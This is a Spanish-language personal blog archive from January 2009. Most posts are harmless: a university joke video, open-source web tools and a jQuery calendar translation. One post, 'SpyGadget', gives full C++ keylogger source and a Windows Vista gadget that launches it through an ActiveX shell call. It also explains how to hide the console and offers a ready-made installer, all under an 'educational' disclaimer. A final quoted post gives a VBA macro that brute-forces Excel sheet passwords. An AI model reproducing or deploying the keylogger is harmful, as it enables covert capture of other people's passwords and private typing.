Archivo para enero, 2009

Chiste local… UPIICSA SAES

Como recordaran hace ya un rato coloque un video del niño alemán loco programando en java (trabajos finales de la escuela) pues no se por que pero parece que hay tantos diferentes sabores del video como los de Edgar y he aquí uno mas.

 

*Para los que no son de UPIICSA:

Los alumnos de UPIICSA nos inscribimos vía internet con un sistema llama SAES anteriormente conocido como SIGUE. Y este es un video real de lo que vivimos cada semestre.

Via | Hec

Pues este es un post de chiste local.

Anuncios

Cuando los mensajes de Warning no son suficientemente claros – Nero

=P Sin palabras, al tratar de hacer una copia de un disco (DVD Windows 7) Nero me tira una ventana de advertencia, pero la verdad no la comprendo bien… no se ustedes… aquí se las muestro:

Warning

Orangoo Labs – Proyectos Open Source

Cuando queremos hacer un proyecto web , usualmente buscamos no hacer las cosas que ya están hechas 😉 , para esto buscamos herramientas open source que nos ayuden en la tarea.

En esta ocasión traigo la recomendación de una pagina: http://orangoo.com/ , en la pagina se presentan algunos proyectos como son:

 

image

Corrector ortográfico – Corrector ortográfico en línea. Simple, libre y fácil de usar, ¡27 idiomas soportados!.

En lo personal se me hace muy útil, no tengo que instalar NADA solo descomprimir y modificar el código a mi antojo.

Prueba en línea | Descarga 

 

image

GoogieSpell es un comprobador de ortografía que puedes utilizar en tu propia aplicación web

Características de GoogieSpell:

  • Soporta alrededor de 27 idiomas
  • Probado sobre IE 5.5, IE 6.0, IE 7, FF 1.0+, Safari, Opera etc.
  • Genérico, extensible y fácil instalar
  • Basado en AJAX (sin recargar la página)
  • Peso ligero (alrededor 50 KB)
  • Bien documentado

Prueba en línea | Descarga

 

image

Skeletonz es un nuevo sistema de gestión de contenidos (CMS) basado en Python. Se distingue de otros por ser simples, pero muy potente y extensible. El sistema es de código abierto y liberado bajo licencia GNU GPL.

Prueba en línea | Ver código en línea | Descarga

 

image

GreyBox se puede utilizar para exhibir las imágenes de los Web site de una manera llamativa (un marco superior con ventana semi-transparente)

Porqué usar GreyBox:

  • No está en conflicto con los móviles
  • ¡Pesa solamente 22 KB!
  • Es fácil de implementar
  • Es fácil de utilizar
  • Se puede alterar fácilmente el estilo CSS

Prueba en línea | Descargar

Algunas Caps:

image image

Corrector ortográfico

GreyBox

 

Si deseas saber mas sobre sus proyectos puedes entrar a: http://orangoo.com/labs/ ó bien ver sus mini proyectos http://orangoo.com/labs/Mini_projects/

-También recomiendo: http://www.dynarch.com/projects/htmlarea/

Calendario jQuery

Pues ahora posteo una pequeña contribución personal; muchas veces en nuestros proyectos web necesitamos de un calendario y pues tenemos infinidad de opciones para hacerlo (de igual forma aquí dejo una pagina que enumera una lista de calendarios).

En este caso yo decidí probar jQuery UI Datepicker, mas que nada por que tenia un fabuloso Widget para Dreamweaver.

El instalarlo es sencillo simplemente lo bajas e instalas el archivo con Adobe Extension Manager con eso aparecerá una pestaña en Dreamweaver como la de la siguiente figura:

image

Al insertar este componente nos pedirá guardar algunos componentes

image

estos componentes tienen información importante para el calendario.

Y de igual forma esta el código fuente 🙂

 

 

El problema de usar el Widget, es que el calendario esta en ingles por lo que decidí traducirlo de forma parcial (“solo lo importante”) al español 😉 espero que sea de utilidad solo tienen que sustituir el siguiente archivo:ui.datepicker.js

Archivo_zip Descarga la traducción de ui.datepicker.js

Dreamweaver Web Widgets | Descargar calendario

El blog esta muriendo…

Pues en este tiempo me doy cuneta que … las estadísticas van como avión de murillo, =’( osease que de pique, tal vez sea que no tengo el mismo tiempo de postear que antes… pero bueno.

Decidí llevar al doctor google al blog y encontré algunos síntomas que mas que nada me parecen divertidos y los comparto con ustedes.

 quejumbres-matratado

Vía | Alquimistas del diseño

SpyGadget “ Keylogger para windows vista”

Hace apenas unos días acaba de terminar un evento al cual asistimos los mejores estudiantes de México que utilizamos y fomentamos las tecnologías Microsoft. Así es me refiero al SUMMIT 2009 de los Microsoft Student Partners; (mas info beatandbyte.com )en este evento hubo un concurso de DEMOS, y estuvo muy padre por que demostramos todo el conocimiento que tenemos en una sencilla aplicación, los competidores fueron muy buenos al mostrar sus demos ( Ángel Miguel, Norberto Rojas, Ángel Cruz, Felipe López, Erick Ruiz). Y al final quedamos en colgar la aplicación, así como el código en nuestro blog ^^  para los que estén interesados ( los MSP que nos evaluaron).

Antes que nada quiero decir que esta demo es mostrada de forma educativa nunca con algún fin maligno [Cada quien se hace responsable].

Para empezar quiero dejar en claro algunos conceptos:

image

 

Windows Gadget: Es una pequeña aplicación o programa, cuyo objetivo es dar fácil acceso a funciones frecuentemente usadas por el usuario así como proveer de información visual

 

image Keylogger: Un keylogger (registrador de teclas) es una herramienta de diagnóstico utilizada en el desarrollo de software que se encarga de registrar las pulsaciones que se realizan sobre el teclado, para memorizarlas en un fichero y/o enviarlas a través de internet.

 

Lo que aremos será una aplicación Gadget de windows Vista que se ejecute y guarde un archivo log.txt en C:\ con todo lo que el usuario escriba en el teclado.

Ahora manos a la obra:

1.-

Crear un Keylogger con C++ en Visual Studio: Tan fácil como copiar y pegar el siguiente código en una aplicación de consola de Win32 en Microsoft Visual C++  (el código esta comentado).

image

Archivo: keylogger_gadget.cpp    Download

   1: // keytecladoger_gadget.cpp: define el punto de entrada de la aplicación de consola.
   2: //
   3:  
   4: #include "stdafx.h"
   5: #include <iostream>
   6: #include <windows.h>
   7: #include <fstream>
   8:  
   9: using namespace std;
  10:  
  11:  
  12: int _tmain(int argc, _TCHAR* argv[])
  13: {
  14:  
  15: bool monitor = true; //Variable del ciclo - que monitorea las entradas de teclado
  16: ofstream teclado; //Creamos la variable de "entrada de teclado" de tipo ofstream
  17: teclado.open("C:\\teclado.txt",ofstream::out|ofstream::app); //Creamos el archivo teclado.txt en modo de escritura
  18:  
  19: //Mensaje desplegado  -si se falla al crear el archivo.
  20: if(teclado.fail()){
  21:     cout<<" Error al escribir el log "<<endl;
  22: }
  23:  
  24: while(monitor){ //Ciclo para verificar cuando se presione una tecla
  25:         //LETRAS
  26:         if (GetAsyncKeyState('A') == -32767){
  27:             teclado << "A";
  28:         }
  29:  
  30:         if (GetAsyncKeyState('B') == -32767){
  31:             teclado << "B";
  32:         }
  33:  
  34:         if (GetAsyncKeyState('C') == -32767){
  35:             teclado << "C";
  36:         }
  37:  
  38:         if (GetAsyncKeyState('D') == -32767){
  39:             teclado << "D";
  40:         }
  41:  
  42:         if (GetAsyncKeyState('E') == -32767){
  43:             teclado << "E";
  44:         }
  45:  
  46:         if (GetAsyncKeyState('F') == -32767){
  47:             teclado << "F";
  48:         }
  49:  
  50:         if (GetAsyncKeyState('G') == -32767){
  51:             teclado << "G";
  52:         }
  53:  
  54:         if (GetAsyncKeyState('H') == -32767){
  55:             teclado << "H";
  56:         }
  57:  
  58:         if (GetAsyncKeyState('I') == -32767){
  59:             teclado << "I";
  60:         }
  61:  
  62:         if (GetAsyncKeyState('J') == -32767){
  63:             teclado << "J";
  64:         }
  65:  
  66:         if (GetAsyncKeyState('K') == -32767){
  67:             teclado << "K";
  68:         }
  69:  
  70:         if (GetAsyncKeyState('L') == -32767){
  71:             teclado << "L";
  72:         }
  73:  
  74:         if (GetAsyncKeyState('M') == -32767){
  75:             teclado << "M";
  76:         }
  77:  
  78:         if (GetAsyncKeyState('N') == -32767){
  79:             teclado << "N";
  80:         }
  81:         
  82:         if (GetAsyncKeyState('O') == -32767){
  83:             teclado << "O";
  84:         }
  85:  
  86:         if (GetAsyncKeyState('P') == -32767){
  87:             teclado << "P";
  88:         }
  89:  
  90:         if (GetAsyncKeyState('Q') == -32767){
  91:             teclado << "Q";
  92:         }
  93:  
  94:         if (GetAsyncKeyState('R') == -32767){
  95:             teclado << "R";
  96:         }
  97:  
  98:         if (GetAsyncKeyState('S') == -32767){
  99:             teclado << "S";
 100:         }
 101:  
 102:         if (GetAsyncKeyState('T') == -32767){
 103:             teclado << "T";
 104:         }
 105:  
 106:         if (GetAsyncKeyState('U') == -32767){
 107:             teclado << "U";
 108:         }
 109:  
 110:         if (GetAsyncKeyState('V') == -32767){
 111:             teclado << "V";
 112:         }
 113:  
 114:         if (GetAsyncKeyState('W') == -32767){
 115:             teclado << "W";
 116:         }
 117:  
 118:         if (GetAsyncKeyState('X') == -32767){
 119:             teclado << "X";
 120:         }
 121:  
 122:         if (GetAsyncKeyState('Y') == -32767){
 123:             teclado << "Y";
 124:         }
 125:  
 126:         if (GetAsyncKeyState('Z') == -32767){
 127:             teclado << "Z";
 128:         }       
 129:         //NUMEROS
 130:         if (GetAsyncKeyState('1') == -32767){
 131:             teclado << "1";
 132:         }
 133:  
 134:         if (GetAsyncKeyState('2') == -32767){
 135:             teclado << "2";
 136:         }
 137:  
 138:         if (GetAsyncKeyState('3') == -32767){
 139:             teclado << "3";
 140:         }
 141:  
 142:         if (GetAsyncKeyState('4') == -32767){
 143:             teclado << "4";
 144:         }
 145:  
 146:         if (GetAsyncKeyState('5') == -32767){
 147:             teclado << "5";
 148:         }
 149:  
 150:         if (GetAsyncKeyState('6') == -32767){
 151:             teclado << "6";
 152:         }
 153:  
 154:         if (GetAsyncKeyState('7') == -32767){
 155:             teclado << "7";
 156:         }
 157:  
 158:         if (GetAsyncKeyState('8') == -32767){
 159:             teclado << "8";
 160:         }
 161:  
 162:         if (GetAsyncKeyState('9') == -32767){
 163:             teclado << "9";
 164:         }
 165:  
 166:         if (GetAsyncKeyState('0') == -32767){
 167:             teclado << "0";
 168:         }
 169:         //teclas virtuales
 170:         if (GetAsyncKeyState(VK_SPACE) == -32767){
 171:             teclado << " ";
 172:         }
 173:  
 174:         if (GetAsyncKeyState(VK_CAPITAL) == -32767){
 175:             teclado << " Mayus-";
 176:         }
 177:  
 178:         if (GetAsyncKeyState(VK_BACK) == -32767){
 179:             teclado << " BACKSPACE ";
 180:         }
 181:  
 182:         if (GetAsyncKeyState(VK_LSHIFT) == -32767){
 183:             teclado << " SHIFT-";
 184:         }
 185:  
 186:         if (GetAsyncKeyState(VK_MENU) == -32767){
 187:             teclado << " ALT-";
 188:         }
 189:     
 190:     }
 191:     //Cerramos el Archivo para que almacene lo que escribimos
 192:     teclado.close(); //Cerramos el archivo para que guarde los cambios
 193:     return 0;
 194:     /*[+][+][+]*/
 195: }
 196:  

 

*Nota: En este código no esta incluida la opción de ocultar la consola al

ejecutar el programa, pero es muy sencillo utilizando la propiedad ShowWindow.

Una vez que tenemos nuestro Keylogger necesitamos colocar el archivo keylogger_gadget.exe en C:\ (puede ser en cualquier lugar, pero en este ejemplo será en el directorio raíz)

2.-

Ahora realizaremos el Gadget de Windows vista para esto usaremos 4 carpetas y y 3 archivos, a continuación su descripción:

Carpetas

SpyGadget.gadget – Carpeta principal que contendrá las carpetas css, js , images y los archivos Spy_gadget.html, Settings.html, gadget.xml

css – Contiene las hojas de estilo para nuestro Gadget. (en este ejemplo Spy_gadget.css )

js – Contiene los archivos js (JavaScript) de nuestro Gadget

images – Contiene las imágenes de nuestro Gadget

Archivos

Spy_gadget.html –Contiene el código html que define el cuerpo de mi Gadget

Código

   1: <html xmlns="http://www.w3.org/1999/xhtml">
   2: <head>
   3: <title>SpyGadget</title>
   4: </head>
   5: <body>
   6: <link href="../css/Spy_gadget.css" rel="stylesheet" type="text/css" >
   7: <script>
   8: function go() {
   9: w = new ActiveXObject("WScript.Shell");
  10: w.run('c:\keylogger_gadget.exe');
  11: return true;
  12: }
  13: </script>
  14: <form>
  15:    Iniciar Keylogger
  16: <input type="button" value="Go" 
  17: onClick="return go()">
  18: </form>
  19:  
  20: </body>
  21: </html>

 

Podemos ver que en la línea 8 definimos la función go() esta es la encargada de crear un Objeto del tipo ActiveX para llamar una aplicación de shell en este caso: ‘c:\keylogger_gadget.exe’ (línea 10).

En la línea 17 definimos la acción que al darle clic al botón llamamos la función go();

Settings.html – Contiene el código de las configuraciones del Gadget

(en este ejemplo lo dejaremos vacio)

gadget.xml – Es el archivo manifiesto XML que contiene las características del Gadget

 

   1: <?xml version="1.0" encoding="utf-8" ?>
   2: <gadget>
   3:     <name>Spy Gadget</name>
   4:     <namespace>Spy</namespace>
   5:     <version>1.0</version>
   6:     <author name="rubick">
   7:         <info url="http://gamer01.es.vg" />
   8:         <logo src="images/icon.png" />      
   9:     </author>
  10:     <copyright>©2009</copyright>
  11:     <description>SpyGadget</description>
  12:     <icons>
  13:     <icon height="200" width="200" src="images/icon.png" />
  14:   </icons>
  15:     <hosts>
  16:         <host name="sidebar">
  17:             <base type="HTML" apiVersion="1.0.0" src="Spy_gadget.html" />
  18:             <permissions>full</permissions>
  19:             <platform minPlatformVersion="0.3" />
  20:         </host>
  21:     </hosts>
  22: </gadget>

 

Este archivo es obligatorio para definir cualquier gadget, de aqui solo mensionare la linea importante que es: linea 17 src="Spy_gadget.html" indicamos que el archivo que contiene la base del Gadget.

Spy_gadget.css (contenido en la carpeta css) – Hoja de estilo que da diseño a mi gadget

 

   1: body
   2: {
   3:     width: 130px;
   4:     height:100px;
   5:     margin: 0px;
   6:     margin-top:15px;
   7: }

 

No hay mucho que explicar. width – ancho height – alto, defino el tamaño de mi Gadget

Archivo: SpyGadget.gadget.rar  Download

(Si deseas mas información para crear Gadget te recomiendo que visites los video tutoriales del blog amigo Nor o los archivos de ayuda de MSDN)

Con esto tenemos todo lo que necesitamos =) ahora a convertir nuestros archivos a un instalador de Gadget.

3.-

Para convertir todos nuestros archivos a un instalador de gadget es tan facil como seleccionar todos los archivos y enviarlos a una carpeta comprimida, una vez hecho esto seleccionamos el archivo ZIP y lo renombramos con la extencion *.gadget

image

image

Con eso termino el pequeño tutorial, si alguien tiene duda deje un comentario o contácteme por mail.

Descarga el Gadget Listo para instalar

http://cid-b6da429042310bfa.skydrive.live.com/self.aspx/P%c3%bablico/Blog%20darkchicles/SpyGadget/Spy%7C_gadget.gadget

*(No olvides colocar el archivo keylogger_gadget.exe en C:\)

 

Aquí dejo una presentación de Power Point con algunas explicaciones

«Pendiente»

Nota Final: En windows vista el archivo keylogger_gadget.exe debe ser ejecutado como administrador para poder guardar el log en C:\

  Gracias a todos loa friend’s del SUMMIT 2009 😉

Quitar clave a una hoja de Excel 2007

 Quisiera compartir un pequeño truco que encontré , en la pagina: http://www.trucosaurio.com/ 

<quote>

Para desbloquear y desproteger una hoja de cálculo de Excel si nos olvidamos la contraseña, lo vamos a hacer mediante una rutina que te vamos a proveer a continuación, sigue estas instrucciones:

1. Abre normalmente el archivo Excel que quieres desbloquear o desproteger.

2. Pulsa ALT + F8 y se te abrirá una ventana; en el nombre del macro pones “Trucosaurio – Excel” o un nombre a tu elección, y pulsa el botón Crear.

3. Se te abrirá una nueva ventana, allí sustituyes y borras todo lo que esta escrito y lo reemplazas por el siguiente código:

Sub breakit()
   Dim i As Integer, j As Integer, k As Integer
   Dim l As Integer, m As Integer, n As Integer
   On Error Resume Next
     For i = 65 To 66
      For j = 65 To 66
       For k = 65 To 66
        For l = 65 To 66
         For m = 65 To 66
          For i1 = 65 To 66
           For i2 = 65 To 66
            For i3 = 65 To 66
             For i4 = 65 To 66
              For i5 = 65 To 66
               For i6 = 65 To 66
                For n = 32 To 126
   ActiveSheet.Unprotect Chr(i) & Chr(j) & Chr(k) & _
      Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & Chr(i3) & _
      Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)
   If ActiveSheet.ProtectContents = False Then
      MsgBox “La contraseña es: ” & Chr(i) & Chr(j) & _
         Chr(k) & Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & Chr(i3) _
         & Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)
      Exit Sub
   End If
               Next
              Next
             Next
            Next
           Next
          Next
         Next
        Next
       Next
      Next
     Next
    Next

End Sub

 4. Pulsa el botón Ejecutar desde el menú o desde la barra de herramientas.
Si todo salio bien, veras un mensaje que dice: “La contraseña es: AAAAA…”;no es la que originalmente tenia, pero funciona perfectamente. De ahora en más, podras modificar todas las celdas bloquedas

</quote>

 Nota: Lo hemos probado en Excel 97, Excel 2000, Excel 2003,Excel 2007  funcionando a la perfección 

Link Original

Nube de etiquetas